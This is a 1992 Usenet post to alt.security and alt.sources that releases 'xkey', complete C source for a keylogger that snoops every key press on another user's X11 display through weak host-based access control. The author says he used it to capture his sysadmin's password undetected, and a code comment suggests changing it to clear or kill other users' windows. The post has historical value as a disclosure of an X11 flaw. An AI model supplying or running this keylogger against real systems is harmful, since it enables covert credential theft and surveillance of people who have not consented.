Xref: wupost alt.security:6987 alt.sources:5411
Path: wupost!spool.mu.edu!hri.com!noc.near.net!wpi.WPI.EDU!maxine.wpi.edu!nick
From: nick@maxine.wpi.edu (Dominic Giampaolo)
Newsgroups: alt.security,alt.sources
Subject: Xkey -- snoop other people's key presses
Keywords: X11, security, bugs
Message-ID: <1992May12.213716.12454@wpi.WPI.EDU>
Date: 12 May 92 21:37:16 GMT
Article-I.D.: wpi.1992May12.213716.12454
Sender: news@wpi.WPI.EDU (USENET News System)
Organization: Worcester Polytechnic Institute
Lines: 155
Originator: nick@maxine.wpi.edu
Nntp-Posting-Host: maxine.wpi.edu


Phew, now that finals are done, I have some time. Here is the program
that the author of sxterm (Nevo Hed)  previously mentioned.  My
program, xkey, will watch all the key presses made on a given display.
As long as you have an account on the same machine as that person and
they xhost that machine, they are vulnerable (assuming that they
aren't using any of the MIT magic cookie stuff).

This program is pretty simple, and could be expanded to be even more
obnoxious without much effort.  My intent isn't to make something that
will be useful to annoy/hurt other people, but only to point out a
flaw in the way things are done with X currently.  I used this program
to get our sysadmin's password, and left nary a trace of my having
done so.  The hole that is exploited here is serious, and should be
addressed.

Well anyway, here it is.  Try not to abuse xkey, it is much better to
do constructive things with one's time than to do destructive things. 

--dominic


--------------------- cut here ------------------------

/* To compile, run it through your favorite ansi compiler something like 
 * this :
 *
 *    gcc -o xkey xkey.c -lX11 -lm
 *
 * To run it, just use it like this :  xkey displayname:0
 * and watch as that display's keypresses show up in your shell window.
 *
 *    Dominic Giampaolo (nick@cs.maxine.wpi.edu)
 */
#include <stdio.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/StringDefs.h>
#include <X11/Xutil.h>
#include <X11/Shell.h>

char *TranslateKeyCode(XEvent *ev);


Display *d;

void snoop_all_windows(Window root, unsigned long type)
{
  static int level = 0;
  Window parent, *children, *child2;
  unsigned int nchildren;
  int stat, i,j,k;

  level++;

  stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);
  if (stat == FALSE)
   {
     fprintf(stderr, "Can't query window tree...\n");
     return;
   }

  if (nchildren == 0)
    return;

  /* For a more drastic inidication of the problem being exploited
   * here, you can change these calls to XSelectInput() to something
   * like XClearWindow(d, children[i]) or if you want to be real
   * nasty, do XKillWindow(d, children[i]).  Of course if you do that,
   * then you'll want to remove the loop in main(). 
   *
   * The whole point of this exercise being that I shouldn't be
   * allowed to manipulate resources which do not belong to me.
   */
  XSelectInput(d, root, type);

  for(i=0; i < nchildren; i++)
   {
     XSelectInput(d, children[i], type);
     snoop_all_windows(children[i], type);
   }     

  XFree((char *)children);
}


void main(int argc, char **argv)
{
  char *hostname;
  char *string;
  XEvent xev;
  int count = 0;
 
  if (argv[1] == NULL)
    hostname = ":0";
  else
    hostname = argv[1];
  
  d = XOpenDisplay(hostname);
  if (d == NULL)
   {
     fprintf(stderr, "Blah, can't open display: %s\n", hostname);
     exit(10);
   }

  snoop_all_windows(DefaultRootWindow(d), KeyPressMask);

  while(1)
   {
     XNextEvent(d, &xev);

     string = TranslateKeyCode(&xev);
     if (string == NULL)
       continue;

     if (*string == '\r')
       printf("\n");
     else if (strlen(string) == 1)
       printf("%s", string);
     else
       printf("<<%s>>", string);
     fflush(stdout);
   }
}


#define KEY_BUFF_SIZE 256
static char key_buff[KEY_BUFF_SIZE];

char *TranslateKeyCode(XEvent *ev)
{
  int count;
  char *tmp;
  KeySym ks;

  if (ev)
   {
     count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL);
     key_buff[count] = '\0';

     if (count == 0)
      {
        tmp = XKeysymToString(ks);
        if (tmp)
          strcpy(key_buff, tmp);
        else
          strcpy(key_buff, "");
      }

     return key_buff;
   }
  else
    return NULL;
}
